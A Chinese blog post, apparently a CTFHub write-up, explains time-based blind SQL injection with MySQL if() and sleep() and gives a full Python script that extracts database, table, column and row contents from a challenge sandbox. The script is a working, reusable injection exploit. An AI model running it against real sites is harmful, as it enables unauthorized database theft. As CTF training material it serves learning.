CTFHUB SQL注入——时间盲注 附自己写的脚本

介绍

时间盲注和上一篇布尔盲注一样都是盲注,都需要借助length,ascii,substr这些神奇的函数来猜测各项信息。它们的差别是猜测成功的依据。

布尔盲注的话如果查询有结果,一般会有一个success_flag,比如在上一题里就会返回query successfully。我的脚本也就是request返回值里有没有这个文本来判断是否查询成功的。

但是时间盲注不一样,它不光不给你查询的内容的回显,不给你报错信息,甚至连布尔盲注里的success_flag也不给你。也就是什么情况呢?你在那里查询,它什么信息都不给你,也就是所谓的无回显。我以前认为无回显是根本不可能做出来的。但是时间盲注让我打开眼界。

时间盲注相当于自行创造出了一个success_flag,将查询成功的情况与查询失败的情况做了区分。以此区别作为依据,我们便可以进行猜测,盲注。

这个区别是这样产生的。主要利用了mysql中的if函数和sleep函数。我们看下面一条语句。

1 and if(1=1, 1, sleep(2))

if函数的第一个参数是一条判断语句,1=1为真,所以if函数会返回第二个参数即1。即

1 and 1

这很显然会正常返回结果。

1 and 1

那如果把if的第一个参数改变一下呢?

1 and if(1=2, 1, sleep(2))

第一个参数是false,if函数会返回第二个参数sleep(2),这会让这个查询语句睡眠两秒,再返回结果。

睡眠中

同时由于这个sleep函数本身的返回值是0,即false。

mysql中sleep的返回值

故那条语句的结果将会返回空。

Empty set

同时我们的脚本还需要对这个睡眠2秒进行识别,因为sql查询语句睡眠了两秒,那么php也会跟着等,整个页面将会进入等待而迟迟不给出相应,我们的request就需要根据相应给出的时间来得到这个success_flag

这样即可,在get请求中写一个timeout参数

requests.get(url, headers=headers, timeout=1)

如果在1s钟内服务器没有返回信息,那么request就会报错。

reqeusts.exceptions.ReadTimeout

然后我们就可以用异常捕捉语句来捕捉这个报错,从而根据有没有报错来判断我们需要判断的信息是否正确。

异常捕捉

脚本

import requests
from urllib.parse import quote

base_url = "http://challenge-59668c27594f7541.sandbox.ctfhub.com:10800/?id="
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": "http://challenge-59668c27594f7541.sandbox.ctfhub.com:10800/", "Upgrade-Insecure-Requests": "1"}

def get_database_length():
    global base_url, headers
    length = 1
    while (1):
        id = "1 and if(length(database()) = " + str(length) + ", 1, sleep(2))"
        url = base_url + quote(id) #很重要,因为id中有许多特殊字符,比如#,需要进行url编码
        try:
            requests.get(url, headers=headers, timeout=1).text
        except Exception:
            print("database length", length, "failed!")
            length+=1
        else:
            print("database length", length, "success")
            print("payload:", id)
            break
    print("数据库名的长度为", length)
    return length

def get_database(database_length):
    global base_url, headers
    database = ""
    for i in range(1, database_length + 1):
        l, r = 0, 127 #神奇的申明方法
        while (1):
            ascii = (l + r) // 2
            id_equal = "1 and if(ascii(substr(database(), " + str(i) + ", 1)) = " + str(ascii) + ", 1, sleep(2))"
            try:
                requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text
            except Exception:
                id_bigger = "1 and if(ascii(substr(database(), " + str(i) + ", 1)) > " + str(ascii) + ", 1, sleep(2))"
                try:
                    requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text
                except Exception:
                    r = ascii - 1
                else:
                    l = ascii + 1
            else:
                database += chr(ascii)
                print ("目前已知数据库名", database)
                break

    print("数据库名为", database)
    return database

def get_table_num(database):
    global base_url, headers
    num = 1
    while (1):
        id = "1 and if((select count(table_name) from information_schema.tables where table_schema = '" + database + "') = " + str(num) + ", 1, sleep(2))"
        try:
            requests.get(base_url + quote(id), headers=headers, timeout=1).text
        except Exception:
            num += 1
        else:
            print("payload:", id)
            print("数据库中有", num, "个表")
            break
    return num

def get_table_length(index, database):
    global base_url, headers
    length = 1
    while (1):
        id = "1 and if((select length(table_name) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ", 1) = " + str(length) + ", 1, sleep(2))"
        try:
            requests.get(base_url + quote(id), headers=headers, timeout= 1).text
        except Exception:
            print("table length", length, "failed!")
            length+=1
        else:
            print("table length", length, "success")
            print("payload:", id)
            break
    print("数据表名的长度为", length)
    return length

def get_table(index, table_length, database):
    global base_url, headers
    table = ""
    for i in range(1, table_length + 1):
        l, r = 0, 127 #神奇的申明方法
        while (1):
            ascii = (l + r) // 2
            id_equal = "1 and if((select ascii(substr(table_name, " + str(i) + ", 1)) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ",1) = " + str(ascii) + ", 1, sleep(2))"
            try:
                response = requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text
            except Exception:
                id_bigger = "1 and if((select ascii(substr(table_name, " + str(i) + ", 1)) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ",1) > " + str(ascii) + ", 1, sleep(2))"
                try:
                    response = requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text
                except Exception:
                    r = ascii - 1
                else:
                    l = ascii + 1
            else:
                table += chr(ascii)
                print ("目前已知数据库名", table)
                break
    print("数据表名为", table)
    return table

def get_column_num(table):
    global base_url, headers
    num = 1
    while (1):
        id = "1 and if((select count(column_name) from information_schema.columns where table_name = '" + table + "') = " + str(num) + ", 1, sleep(2))"
        try:
            requests.get(base_url + quote(id), headers=headers, timeout=1).text
        except Exception:
            num += 1
        else:
            print("payload:", id)
            print("数据表", table, "中有", num, "个字段")
            break
    return num

def get_column_length(index, table):
    global base_url, headers
    length = 1
    while (1):
        id = "1 and if((select length(column_name) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ", 1) = " + str(length) + ", 1, sleep(2))"
        try:
            requests.get(base_url + quote(id), headers=headers, timeout=1).text
        except Exception:
            print("column length", length, "failed!")
            length+=1
        else:
            print("column length", length, "success")
            print("payload:", id)
            break
    print("数据表", table, "第", index, "个字段的长度为", length)
    return length

def get_column(index, column_length, table):
    global base_url, headers
    column = ""
    for i in range(1, column_length + 1):
        l, r = 0, 127 #神奇的申明方法
        while (1):
            ascii = (l + r) // 2
            id_equal = "1 and if((select ascii(substr(column_name, " + str(i) + ", 1)) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ",1) = " + str(ascii) + ", 1, sleep(2))"
            try:
                requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text
            except Exception:
                id_bigger = "1 and if((select ascii(substr(column_name, " + str(i) + ", 1)) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ",1) > " + str(ascii) + ", 1, sleep(2))"
                try:
                    requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text
                except Exception:
                    r = ascii - 1
                else:
                    l = ascii + 1
            else:
                column += chr(ascii)
                print ("目前已知字段为", column)
                break

    print("数据表", table, "第", index, "个字段名为", column)
    return column

def get_flag_num(column, table):
    global base_url, headers
    num = 1
    while (1):
        id = "1 and if((select count(" + column + ") from " + table + ") = " + str(num) + ", 1, sleep(2))"
        try:
            requests.get(base_url + quote(id), headers=headers, timeout=1).text
        except Exception:
            num += 1
        else:
            print("payload:", id)
            print("数据表", table, "中有", num, "行数据")
            break
    return num

def get_flag_length(index, column, table):
    global base_url, headers
    length = 1
    while (1):
        id = "1 and if((select length(" + column + ") from " + table + " limit " + str(index) + ", 1) = " + str(length) + ", 1, sleep(2))"
        try:
            requests.get(base_url + quote(id), headers=headers, timeout=1).text
        except Exception:
            print("flag length", length, "failed!")
            length+=1
        else:
            print("flag length", length, "success")
            print("payload:", id)
            break
    print("数据表", table, "第", index, "行数据的长度为", length)
    return length

def get_flag(index, flag_length, column, table):
    global base_url, headers
    flag = ""
    for i in range(1, flag_length + 1):
        l, r = 0, 127 #神奇的申明方法
        while (1):
            ascii = (l + r) // 2
            id_equal = "1 and if((select ascii(substr(" + column + ", " + str(i) + ", 1)) from " + table + " limit " + str(index) + ",1) = " + str(ascii) + ", 1, sleep(2))"
            try:
                requests.get(base_url + quote(id_equal), headers=headers, timeout=1).text
            except Exception:
                id_bigger = "1 and if((select ascii(substr(" + column + ", " + str(i) + ", 1)) from " + table + " limit " + str(index) + ",1) > " + str(ascii) + ", 1, sleep(2))"
                try:
                    requests.get(base_url + quote(id_bigger), headers=headers, timeout=1).text
                except Exception:
                    r = ascii - 1
                else:
                    l = ascii + 1
            else:
                flag += chr(ascii)
                print ("目前已知flag为", flag)
                break
    print("数据表", table, "第", index, "行数据为", flag)
    return flag

if __name__ == "__main__":
    print("---------------------")
    print("开始获取数据库名长度")
    database_length = get_database_length()
    print("---------------------")
    print("开始获取数据库名")
    database = get_database(database_length)
    print("---------------------")
    print("开始获取数据表的个数")
    table_num = get_table_num(database)
    tables = []
    print("---------------------")
    for i in range(0, table_num):
        print("开始获取第", i + 1, "个数据表的名称的长度")
        table_length = get_table_length(i, database)
        print("---------------------")
        print("开始获取第", i + 1, "个数据表的名称")
        table = get_table(i, table_length, database)
        tables.append(table)
    while(1): #在这个循环中可以进入所有的数据表一探究竟
        print("---------------------")
        print("现在得到了以下数据表", tables)
        table = input("请在这些数据表中选择一个目标: ")
        while( table not in tables ):
            print("你输入有误")
            table = input("请重新选择一个目标")
        print("---------------------")
        print("选择成功,开始获取数据表", table, "的字段数量")
        column_num = get_column_num(table)
        columns = []
        print("---------------------")
        for i in range(0, column_num):
            print("开始获取数据表", table, "第", i + 1, "个字段名称的长度")
            column_length = get_column_length(i, table)
            print("---------------------")
            print("开始获取数据表", table, "第", i + 1, "个字段的名称")
            column = get_column(i, column_length, table)
            columns.append(column)
        while(1): #在这个循环中可以获取当前选择数据表的所有字段记录
            print("---------------------")
            print("现在得到了数据表", table, "中的以下字段", columns)
            column = input("请在这些字段中选择一个目标: ")
            while( column not in columns ):
                print("你输入有误")
                column = input("请重新选择一个目标")
            print("---------------------")
            print("选择成功,开始获取数据表", table, "的记录数量")
            flag_num = get_flag_num(column, table)
            flags = []
            print("---------------------")
            for i in range(0, flag_num):
                print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的长度")
                flag_length = get_flag_length(i, column, table)
                print("---------------------")
                print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的内容")
                flag = get_flag(i, flag_length, column, table)
                flags.append(flag)
            print("---------------------")
            print("现在得到了数据表", table, "中", column, "字段中的以下记录", flags)
            quit = input("继续切换字段吗?(y/n)")
            if (quit == 'n' or quit == 'N'):
                break
            else:
                continue
        quit = input("继续切换数据表名吗?(y/n)")
        if (quit == 'n' or quit == 'N'):
            break
        else:
            continue
    print("bye~")

时间盲注的脚本已经更新到github

实际上也就是在昨天脚本的基础上套上了一层if,然后把success_flag换成了异常处理。

  • 6
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值